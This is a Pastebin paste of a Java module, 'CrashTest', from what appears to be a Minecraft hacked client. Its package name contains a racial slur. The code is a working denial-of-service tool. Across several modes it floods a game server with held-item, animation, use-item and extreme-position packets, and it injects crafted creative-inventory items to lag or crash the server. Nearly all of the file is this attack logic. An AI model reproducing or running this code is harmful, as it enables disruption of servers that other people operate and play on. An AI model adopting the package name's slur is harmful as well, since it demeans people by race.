Advertisement
Guest User

Untitled

a guest
Oct 17th, 2019
141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.13 KB | None | 0 0
  1. package black.nigger.rusherhack.Modules;
  2.  
  3. import java.util.ArrayList;
  4. import java.util.Objects;
  5.  
  6. import org.lwjgl.input.Keyboard;
  7.  
  8. import com.darkmagician6.eventapi.EventManager;
  9. import com.stringer.annotations.HideAccess;
  10. import com.stringer.annotations.StringEncryption;
  11.  
  12. import black.nigger.rusherhack.Wwefan;
  13. import black.nigger.rusherhack.Module.Category;
  14. import black.nigger.rusherhack.Module.Module;
  15. import black.nigger.rusherhack.utils.Wrapper;
  16. import de.Hero.settings.Setting;
  17. import net.minecraft.init.Blocks;
  18. import net.minecraft.item.Item;
  19. import net.minecraft.item.ItemStack;
  20. import net.minecraft.network.play.client.CPacketAnimation;
  21. import net.minecraft.network.play.client.CPacketCreativeInventoryAction;
  22. import net.minecraft.network.play.client.CPacketHeldItemChange;
  23. import net.minecraft.network.play.client.CPacketPlayer;
  24. import net.minecraft.network.play.client.CPacketPlayerTryUseItem;
  25. import net.minecraft.util.text.TextComponentString;
  26.  
  27. @HideAccess
  28. @StringEncryption
  29. public class CrashTest extends Module {
  30.  
  31. public static boolean active;
  32. int loop;
  33.  
  34. public CrashTest() {
  35. super("CrashTest", "CrashTest", "", Keyboard.KEY_NONE, Category.World, -1);
  36. }
  37.  
  38. public void setup() {
  39. ArrayList<String> modes = new ArrayList();
  40. modes.add("Lag 1");
  41. modes.add("Lag 2");
  42. modes.add("Lag 3");
  43. modes.add("Lag Shield");
  44. modes.add("Lag Vanilla");
  45. modes.add("Lag Creative");
  46. Wwefan.setmgr.rSetting(new Setting("LagIndex", this, 300, 0, 1000, false));
  47. Wwefan.setmgr.rSetting(new Setting("LagLoop", this, 100000, 50000, 1000000, false));
  48. Wwefan.setmgr.rSetting(new Setting("Lag", this, "Lag 1", modes));
  49. }
  50.  
  51. public void onUpdate() {
  52. if (!this.getState()) {
  53. return;
  54. }
  55.  
  56. // Wrapper.mc.player.connection.sendPacket(new CPacketPlayer.
  57.  
  58. if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag 1")) {
  59. ++this.loop;
  60. if (this.loop > Wwefan.setmgr.getSettingByName("LagLoop").getValDouble()) {
  61. int index = 0;
  62. while (index < Wwefan.setmgr.getSettingByName("LagIndex").getValDouble()) {
  63. Wrapper.mc.player.connection.sendPacket(new CPacketHeldItemChange(2));
  64. Wrapper.mc.player.connection.sendPacket(new CPacketPlayer(true));
  65. Wrapper.mc.player.connection.sendPacket(new CPacketHeldItemChange(2));
  66. Wrapper.mc.player.connection.sendPacket(new CPacketPlayer(true));
  67. ++index;
  68. }
  69. this.loop = 0;
  70. Wrapper.mc.player.sendMessage(new TextComponentString("Sending Crash Packets"));
  71. }
  72. }
  73.  
  74. if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag 2")) {
  75. }
  76.  
  77. if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag 3")) {
  78. ++this.loop;
  79. if (this.loop > 6) {
  80. int spam = 0;
  81. while (spam < 100000) {
  82. Wrapper.mc.player.connection.sendPacket(new CPacketAnimation());
  83. ++spam;
  84. }
  85. this.loop = 0;
  86. Wrapper.mc.player.sendMessage(new TextComponentString("Sending packets..."));
  87. }
  88. }
  89.  
  90. if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag Shield")) {
  91. ++this.loop;
  92. if (this.loop > 300) {
  93. int spam = 0;
  94. while (spam < 10000) {
  95. Wrapper.mc.player.connection.sendPacket(new CPacketPlayerTryUseItem());
  96. ++spam;
  97. }
  98. this.loop = 0;
  99. Wrapper.mc.player.sendMessage(new TextComponentString("Sending packets..."));
  100. }
  101. }
  102.  
  103. }
  104.  
  105. public void onEnable() {
  106. EventManager.register(this);
  107. if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag 1")) {
  108. active = true;
  109. int index = 0;
  110. while (index < Wwefan.setmgr.getSettingByName("LagIndex").getValDouble()) {
  111. Wrapper.mc.player.connection.sendPacket(new CPacketHeldItemChange(2));
  112. Wrapper.mc.player.connection.sendPacket(new CPacketPlayer(true));
  113. Wrapper.mc.player.connection.sendPacket(new CPacketHeldItemChange(2));
  114. Wrapper.mc.player.connection.sendPacket(new CPacketPlayer(true));
  115. ++index;
  116. }
  117. Wrapper.mc.player.sendMessage(new TextComponentString("Trying to crash with Item Switch method"));
  118. }
  119.  
  120. if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag 2")) {
  121. active = true;
  122. int spam = 0;
  123. while (spam < 10000) {
  124. Wrapper.mc.player.connection.sendPacket(new CPacketAnimation());
  125. ++spam;
  126. }
  127. Wrapper.mc.player.sendMessage(new TextComponentString("Trying to lag with method 2"));
  128. }
  129.  
  130. if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag 3")) {
  131. active = true;
  132. int spam = 0;
  133. while (spam < 200000) {
  134. Wrapper.mc.player.connection.sendPacket(new CPacketAnimation());
  135. ++spam;
  136. }
  137. Wrapper.mc.player.sendMessage(new TextComponentString("Trying to lag with method 3"));
  138. }
  139.  
  140. if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag Vanilla")) {
  141. active = true;
  142. int index = 0;
  143. while (index < 999) {
  144. Wrapper.mc.player.connection
  145. .sendPacket(new CPacketPlayer.Position(Wrapper.mc.player.posX + (double) (99999 * index),
  146. Wrapper.mc.player.getEntityBoundingBox().minY + (double) (99999 * index),
  147. Wrapper.mc.player.posZ + (double) (99999 * index), true));
  148. ++index;
  149. }
  150. Wrapper.mc.player.sendMessage(new TextComponentString("Trying to crash with Vanilla method"));
  151. Wrapper.mc.player.sendMessage(new TextComponentString("Only works on vanilla servers"));
  152. }
  153.  
  154. if (Wwefan.setmgr.getSettingByName("Lag").getValString().equalsIgnoreCase("Lag Creative")) {
  155. active = true;
  156. Wrapper.mc.player.sendMessage(new TextComponentString("Trying to crash with Creative method"));
  157. Wrapper.mc.player.sendMessage(new TextComponentString("Make sure you are in creative"));
  158. ItemStack plant = new ItemStack(Blocks.BEDROCK);
  159. plant.setItemDamage(69);
  160. int index = 0;
  161. while (index < 9) {
  162. ItemStack is = Wrapper.mc.player.inventory.getStackInSlot(index);
  163. if (Objects.nonNull(is) && Item.getIdFromItem(is.getItem()) == 175 && is.getItemDamage() == 1337
  164. && is.getMaxStackSize() != 64) {
  165. Wrapper.mc.player.connection.sendPacket(
  166. new CPacketCreativeInventoryAction(Wrapper.mc.player.inventory.currentItem + 36, plant));
  167. Wrapper.mc.player.inventory.setInventorySlotContents(Wrapper.mc.player.inventory.currentItem,
  168. plant);
  169. }
  170. ++index;
  171. }
  172. if (Objects.isNull(Wrapper.mc.player.getHeldItem(null))) {
  173. Wrapper.mc.player.connection.sendPacket(
  174. new CPacketCreativeInventoryAction(Wrapper.mc.player.inventory.currentItem + 36, plant));
  175. Wrapper.mc.player.inventory.setInventorySlotContents(Wrapper.mc.player.inventory.currentItem, plant);
  176. }
  177. index = 0;
  178. while (index < 9) {
  179. if (Objects.isNull(Wrapper.mc.player.inventory.getStackInSlot(index))
  180. || Item.getIdFromItem(Wrapper.mc.player.inventory.getStackInSlot(index).getItem()) == 0) {
  181. Wrapper.mc.player.connection.sendPacket(new CPacketCreativeInventoryAction(index + 36, plant));
  182. }
  183. ++index;
  184. }
  185. Wrapper.mc.player.connection.sendPacket(
  186. new CPacketCreativeInventoryAction(Wrapper.mc.player.inventory.currentItem + 36, plant));
  187. }
  188. }
  189.  
  190. public void onDisable() {
  191. EventManager.unregister(this);
  192. active = false;
  193. }
  194. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement